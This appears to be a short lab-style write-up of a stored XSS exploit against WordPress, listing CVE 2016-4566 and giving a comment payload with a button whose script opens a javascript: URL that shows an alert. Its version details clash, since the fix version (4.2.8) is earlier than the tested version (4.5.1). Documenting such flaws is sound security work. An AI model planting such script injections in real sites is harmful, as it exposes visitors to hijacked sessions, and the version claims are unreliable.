**Exploit 1: “Upload Same Origin Method Execution”**

- Summary: Attacking the system via a user clicking on a malicious comment that alerts the user.

- Vulnerability types: XSS

- Tested in version: 4.5.1

- Fixed in version: 4.2.8

- Steps to recreate:

1. Go to any post.
2. Paste the following as a comment:

<button onclick="fire()">Click</button>  
<script>  
function fire() {  
open('javascript:alert("exploit 1: Same Origin Method Execution")');  
}  
</script>

1. Click on the button.
2. Alert(1) will pop up.

* Affected source code:

<http://localhost/wp-admin/comment.php?action=editcomment&c=9>

* CVE: 2016-4566